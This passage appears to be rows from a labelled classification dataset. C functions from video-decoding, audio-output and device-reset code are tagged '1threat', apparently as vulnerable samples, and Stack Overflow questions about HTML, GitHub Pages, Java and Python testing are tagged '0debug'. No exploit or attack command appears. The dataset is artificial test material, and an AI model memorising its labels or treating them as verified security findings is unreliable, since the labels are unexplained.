const int yA1 = y0 + nPbH - 1;
const int xA1_pu = xA1 >> s->sps->log2_min_pu_size;
const int yA1_pu = yA1 >> s->sps->log2_min_pu_size;
const int xB1 = x0 + nPbW - 1;
const int yB1 = y0 - 1;
const int xB1_pu = xB1 >> s->sps->log2_min_pu_size;
const int yB1_pu = yB1 >> s->sps->log2_min_pu_size;
const int xB0 = x0 + nPbW;
const int yB0 = y0 - 1;
const int xB0_pu = xB0 >> s->sps->log2_min_pu_size;
const int yB0_pu = yB0 >> s->sps->log2_min_pu_size;
const int xA0 = x0 - 1;
const int yA0 = y0 + nPbH;
const int xA0_pu = xA0 >> s->sps->log2_min_pu_size;
const int yA0_pu = yA0 >> s->sps->log2_min_pu_size;
const int xB2 = x0 - 1;
const int yB2 = y0 - 1;
const int xB2_pu = xB2 >> s->sps->log2_min_pu_size;
const int yB2_pu = yB2 >> s->sps->log2_min_pu_size;
const int nb_refs = (s->sh.slice_type == P_SLICE) ?
s->sh.nb_refs[0] : FFMIN(s->sh.nb_refs[0], s->sh.nb_refs[1]);
int check_MER = 1;
int check_MER_1 = 1;
int zero_idx = 0;
int nb_merge_cand = 0;
int nb_orig_merge_cand = 0;
int is_available_a0;
int is_available_a1;
int is_available_b0;
int is_available_b1;
int is_available_b2;
int check_B0;
int check_A0;
is_available_a1 = AVAILABLE(cand_left, A1);
if (!singleMCLFlag && part_idx == 1 &&
(lc->cu.part_mode == PART_Nx2N ||
lc->cu.part_mode == PART_nLx2N ||
lc->cu.part_mode == PART_nRx2N) ||
isDiffMER(s, xA1, yA1, x0, y0)) {
is_available_a1 = 0;
}
if (is_available_a1) {
mergecandlist[0] = TAB_MVF_PU(A1);
if (merge_idx == 0)
return;
nb_merge_cand++;
}
is_available_b1 = AVAILABLE(cand_up, B1);
if (!singleMCLFlag && part_idx == 1 &&
(lc->cu.part_mode == PART_2NxN ||
lc->cu.part_mode == PART_2NxnU ||
lc->cu.part_mode == PART_2NxnD) ||
isDiffMER(s, xB1, yB1, x0, y0)) {
is_available_b1 = 0;
}
if (is_available_a1 && is_available_b1)
check_MER = !COMPARE_MV_REFIDX(B1, A1);
if (is_available_b1 && check_MER)
mergecandlist[nb_merge_cand++] = TAB_MVF_PU(B1);
check_MER = 1;
check_B0 = PRED_BLOCK_AVAILABLE(B0);
is_available_b0 = check_B0 && AVAILABLE(cand_up_right, B0);
if (isDiffMER(s, xB0, yB0, x0, y0))
is_available_b0 = 0;
if (is_available_b1 && is_available_b0)
check_MER = !COMPARE_MV_REFIDX(B0, B1);
if (is_available_b0 && check_MER) {
mergecandlist[nb_merge_cand] = TAB_MVF_PU(B0);
if (merge_idx == nb_merge_cand)
return;
nb_merge_cand++;
}
check_MER = 1;
check_A0 = PRED_BLOCK_AVAILABLE(A0);
is_available_a0 = check_A0 && AVAILABLE(cand_bottom_left, A0);
if (isDiffMER(s, xA0, yA0, x0, y0))
is_available_a0 = 0;
if (is_available_a1 && is_available_a0)
check_MER = !COMPARE_MV_REFIDX(A0, A1);
if (is_available_a0 && check_MER) {
mergecandlist[nb_merge_cand] = TAB_MVF_PU(A0);
if (merge_idx == nb_merge_cand)
return;
nb_merge_cand++;
}
check_MER = 1;
is_available_b2 = AVAILABLE(cand_up_left, B2);
if (isDiffMER(s, xB2, yB2, x0, y0))
is_available_b2 = 0;
if (is_available_a1 && is_available_b2)
check_MER = !COMPARE_MV_REFIDX(B2, A1);
if (is_available_b1 && is_available_b2)
check_MER_1 = !COMPARE_MV_REFIDX(B2, B1);
if (is_available_b2 && check_MER && check_MER_1 && nb_merge_cand != 4) {
mergecandlist[nb_merge_cand] = TAB_MVF_PU(B2);
if (merge_idx == nb_merge_cand)
return;
nb_merge_cand++;
}
if (s->sh.slice_temporal_mvp_enabled_flag &&
nb_merge_cand < s->sh.max_num_merge_cand) {
Mv mv_l0_col, mv_l1_col;
int available_l0 = temporal_luma_motion_vector(s, x0, y0, nPbW, nPbH,
0, &mv_l0_col, 0);
int available_l1 = (s->sh.slice_type == B_SLICE) ?
temporal_luma_motion_vector(s, x0, y0, nPbW, nPbH,
0, &mv_l1_col, 1) : 0;
if (available_l0 || available_l1) {
mergecandlist[nb_merge_cand].is_intra = 0;
mergecandlist[nb_merge_cand].pred_flag[0] = available_l0;
mergecandlist[nb_merge_cand].pred_flag[1] = available_l1;
AV_ZERO16(mergecandlist[nb_merge_cand].ref_idx);
mergecandlist[nb_merge_cand].mv[0] = mv_l0_col;
mergecandlist[nb_merge_cand].mv[1] = mv_l1_col;
if (merge_idx == nb_merge_cand)
return;
nb_merge_cand++;
}
}
nb_orig_merge_cand = nb_merge_cand;
if (s->sh.slice_type == B_SLICE && nb_orig_merge_cand > 1 &&
nb_orig_merge_cand < s->sh.max_num_merge_cand) {
int comb_idx;
for (comb_idx = 0; nb_merge_cand < s->sh.max_num_merge_cand &&
comb_idx < nb_orig_merge_cand * (nb_orig_merge_cand - 1); comb_idx++) {
int l0_cand_idx = l0_l1_cand_idx[comb_idx][0];
int l1_cand_idx = l0_l1_cand_idx[comb_idx][1];
MvField l0_cand = mergecandlist[l0_cand_idx];
MvField l1_cand = mergecandlist[l1_cand_idx];
if (l0_cand.pred_flag[0] && l1_cand.pred_flag[1] &&
(refPicList[0].list[l0_cand.ref_idx[0]] !=
refPicList[1].list[l1_cand.ref_idx[1]] ||
AV_RN32A(&l0_cand.mv[0]) != AV_RN32A(&l1_cand.mv[1]))) {
mergecandlist[nb_merge_cand].ref_idx[0] = l0_cand.ref_idx[0];
mergecandlist[nb_merge_cand].ref_idx[1] = l1_cand.ref_idx[1];
mergecandlist[nb_merge_cand].pred_flag[0] = 1;
mergecandlist[nb_merge_cand].pred_flag[1] = 1;
AV_COPY32(&mergecandlist[nb_merge_cand].mv[0], &l0_cand.mv[0]);
AV_COPY32(&mergecandlist[nb_merge_cand].mv[1], &l1_cand.mv[1]);
mergecandlist[nb_merge_cand].is_intra = 0;
if (merge_idx == nb_merge_cand)
return;
nb_merge_cand++;
}
}
}
while (nb_merge_cand < s->sh.max_num_merge_cand) {
mergecandlist[nb_merge_cand].pred_flag[0] = 1;
mergecandlist[nb_merge_cand].pred_flag[1] = s->sh.slice_type == B_SLICE;
AV_ZERO32(mergecandlist[nb_merge_cand].mv + 0);
AV_ZERO32(mergecandlist[nb_merge_cand].mv + 1);
mergecandlist[nb_merge_cand].is_intra = 0;
mergecandlist[nb_merge_cand].ref_idx[0] = zero_idx < nb_refs ? zero_idx : 0;
mergecandlist[nb_merge_cand].ref_idx[1] = zero_idx < nb_refs ? zero_idx : 0;
if (merge_idx == nb_merge_cand)
return;
nb_merge_cand++;
zero_idx++;
}
}
| 1threat
|
static int oss_run_out (HWVoiceOut *hw)
{
OSSVoiceOut *oss = (OSSVoiceOut *) hw;
int err, rpos, live, decr;
int samples;
uint8_t *dst;
st_sample_t *src;
struct audio_buf_info abinfo;
struct count_info cntinfo;
int bufsize;
live = audio_pcm_hw_get_live_out (hw);
if (!live) {
return 0;
}
bufsize = hw->samples << hw->info.shift;
if (oss->mmapped) {
int bytes;
err = ioctl (oss->fd, SNDCTL_DSP_GETOPTR, &cntinfo);
if (err < 0) {
oss_logerr (errno, "SNDCTL_DSP_GETOPTR failed\n");
return 0;
}
if (cntinfo.ptr == oss->old_optr) {
if (abs (hw->samples - live) < 64) {
dolog ("warning: Overrun\n");
}
return 0;
}
if (cntinfo.ptr > oss->old_optr) {
bytes = cntinfo.ptr - oss->old_optr;
}
else {
bytes = bufsize + cntinfo.ptr - oss->old_optr;
}
decr = audio_MIN (bytes >> hw->info.shift, live);
}
else {
err = ioctl (oss->fd, SNDCTL_DSP_GETOSPACE, &abinfo);
if (err < 0) {
oss_logerr (errno, "SNDCTL_DSP_GETOPTR failed\n");
return 0;
}
if (abinfo.bytes > bufsize) {
if (conf.debug) {
dolog ("warning: Invalid available size, size=%d bufsize=%d\n"
"please report your OS/audio hw to [email protected]\n",
abinfo.bytes, bufsize);
}
abinfo.bytes = bufsize;
}
if (abinfo.bytes < 0) {
if (conf.debug) {
dolog ("warning: Invalid available size, size=%d bufsize=%d\n",
abinfo.bytes, bufsize);
}
return 0;
}
decr = audio_MIN (abinfo.bytes >> hw->info.shift, live);
if (!decr) {
return 0;
}
}
samples = decr;
rpos = hw->rpos;
while (samples) {
int left_till_end_samples = hw->samples - rpos;
int convert_samples = audio_MIN (samples, left_till_end_samples);
src = hw->mix_buf + rpos;
dst = advance (oss->pcm_buf, rpos << hw->info.shift);
hw->clip (dst, src, convert_samples);
if (!oss->mmapped) {
int written;
written = write (oss->fd, dst, convert_samples << hw->info.shift);
if (written == -1) {
oss_logerr (
errno,
"Failed to write %d bytes of audio data from %p\n",
convert_samples << hw->info.shift,
dst
);
continue;
}
if (written != convert_samples << hw->info.shift) {
int wsamples = written >> hw->info.shift;
int wbytes = wsamples << hw->info.shift;
if (wbytes != written) {
dolog ("warning: Misaligned write %d (requested %d), "
"alignment %d\n",
wbytes, written, hw->info.align + 1);
}
decr -= wsamples;
rpos = (rpos + wsamples) % hw->samples;
break;
}
}
rpos = (rpos + convert_samples) % hw->samples;
samples -= convert_samples;
}
if (oss->mmapped) {
oss->old_optr = cntinfo.ptr;
}
hw->rpos = rpos;
return decr;
}
| 1threat
|
static void omap1_mpu_reset(void *opaque)
{
struct omap_mpu_state_s *mpu = (struct omap_mpu_state_s *) opaque;
omap_inth_reset(mpu->ih[0]);
omap_inth_reset(mpu->ih[1]);
omap_dma_reset(mpu->dma);
omap_mpu_timer_reset(mpu->timer[0]);
omap_mpu_timer_reset(mpu->timer[1]);
omap_mpu_timer_reset(mpu->timer[2]);
omap_wd_timer_reset(mpu->wdt);
omap_os_timer_reset(mpu->os_timer);
omap_lcdc_reset(mpu->lcd);
omap_ulpd_pm_reset(mpu);
omap_pin_cfg_reset(mpu);
omap_mpui_reset(mpu);
omap_tipb_bridge_reset(mpu->private_tipb);
omap_tipb_bridge_reset(mpu->public_tipb);
omap_dpll_reset(&mpu->dpll[0]);
omap_dpll_reset(&mpu->dpll[1]);
omap_dpll_reset(&mpu->dpll[2]);
omap_uart_reset(mpu->uart[0]);
omap_uart_reset(mpu->uart[1]);
omap_uart_reset(mpu->uart[2]);
omap_mmc_reset(mpu->mmc);
omap_mpuio_reset(mpu->mpuio);
omap_uwire_reset(mpu->microwire);
omap_pwl_reset(mpu);
omap_pwt_reset(mpu);
omap_i2c_reset(mpu->i2c[0]);
omap_rtc_reset(mpu->rtc);
omap_mcbsp_reset(mpu->mcbsp1);
omap_mcbsp_reset(mpu->mcbsp2);
omap_mcbsp_reset(mpu->mcbsp3);
omap_lpg_reset(mpu->led[0]);
omap_lpg_reset(mpu->led[1]);
omap_clkm_reset(mpu);
cpu_reset(mpu->env);
}
| 1threat
|
static void qemu_file_set_error(QEMUFile *f, int ret)
{
if (f->last_error == 0) {
f->last_error = ret;
}
}
| 1threat
|
How do I position one image on top of another in HTML : <p>How to do this in HTML/CSS? (Please check the image)</p>
<p><a href="https://i.stack.imgur.com/AdnF3.png" rel="nofollow noreferrer">image on top of an another image</a></p>
| 0debug
|
Github pages: Why do I need a gh-pages : <p>I have deployed a personal blog using Github pages and I see that some tutorials tell you to create a gh-pages branch. I did that, however, my changes to the website are visible only if I make changes to my master. So, I'm confused as to why I need gh-pages? Can someone please explain this. Thanks</p>
| 0debug
|
dataframe search from list and all elemts found in a new coloumn in scala : i have a df and i need to search if there is any set of elements from the list of keywords or not .. if yes i need to put all these keywords @ separated in a new coloumn called found or not:
my df is like
utid|description
123|my name is harry and i live in newyork
234|my neighbour is daniel and he plays hockey
The list is quite big something like list ={harry,daniel,hockey,newyork}
the output should be like
utid|description|foundornot
123|my name is harry and i live in newyork|harry@newyork
234|my neighbour is daniel and he plays hockey|daniel@hockey
the list is quite bug like some 20k keywords
| 0debug
|
Python's `unittest` lacks an `assertHasAttr` method, what should I use instead? : <p>Of the many, many assert methods in <a href="https://docs.python.org/3/library/unittest.html" rel="noreferrer">Python's standard <code>unittest</code> package</a>, <code>.assertHasAttr()</code> is curiously absent. While writing some unit tests I've run into a case in which I'd like to test for the presence of an attribute in an object instance.</p>
<p>What's a safe/correct alternative for the missing <code>.assertHasAttr()</code> method?</p>
| 0debug
|
changing a c program to a c++ program - compile errors : <p>I'm using the <a href="https://github.com/alanxz/rabbitmq-c" rel="nofollow noreferrer">RabbitMQ C library</a>. It is written in C and uses CMake. I'm using the basic amqp_sendstring client example. My question is that I need to integrate some c++ code to take pictures using opencv. Is it possible or even recommended to change the example client to <code>.cpp</code> files and include my c++ code. I've tried already and I'm getting lots of compile errors. </p>
| 0debug
|
Beginner at Java, need an explanation for an answer please :
void f(int[] x, int[] y, int p, int q) {
for (int i=0;i<x.length;++i) {
x[i] = 2*x[i];
}
x=new int[5];
for (int i=0;i<5;++i) {
x[i]=0;
}
y[3]=5;
p=q+1;
}
void g() {
int[] x={1,2,3,4};
int[] y={9,7,6,5};
f(y, x, y[0], x[0]);
for (int p:x) {
System.out.print(""+p+" ");
}
for (int q:y) {
System.out.print(""+q+" ");
}
System.out.println();
}
So If g() is called I know the answer is 1 2 3 5 18 14 12 10, but I have no idea why thats the answer, how p and q even come into the equation is confusing me.
| 0debug
|
gboolean qcrypto_hash_supports(QCryptoHashAlgorithm alg)
{
if (alg < G_N_ELEMENTS(qcrypto_hash_alg_map)) {
return true;
}
return false;
}
| 1threat
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.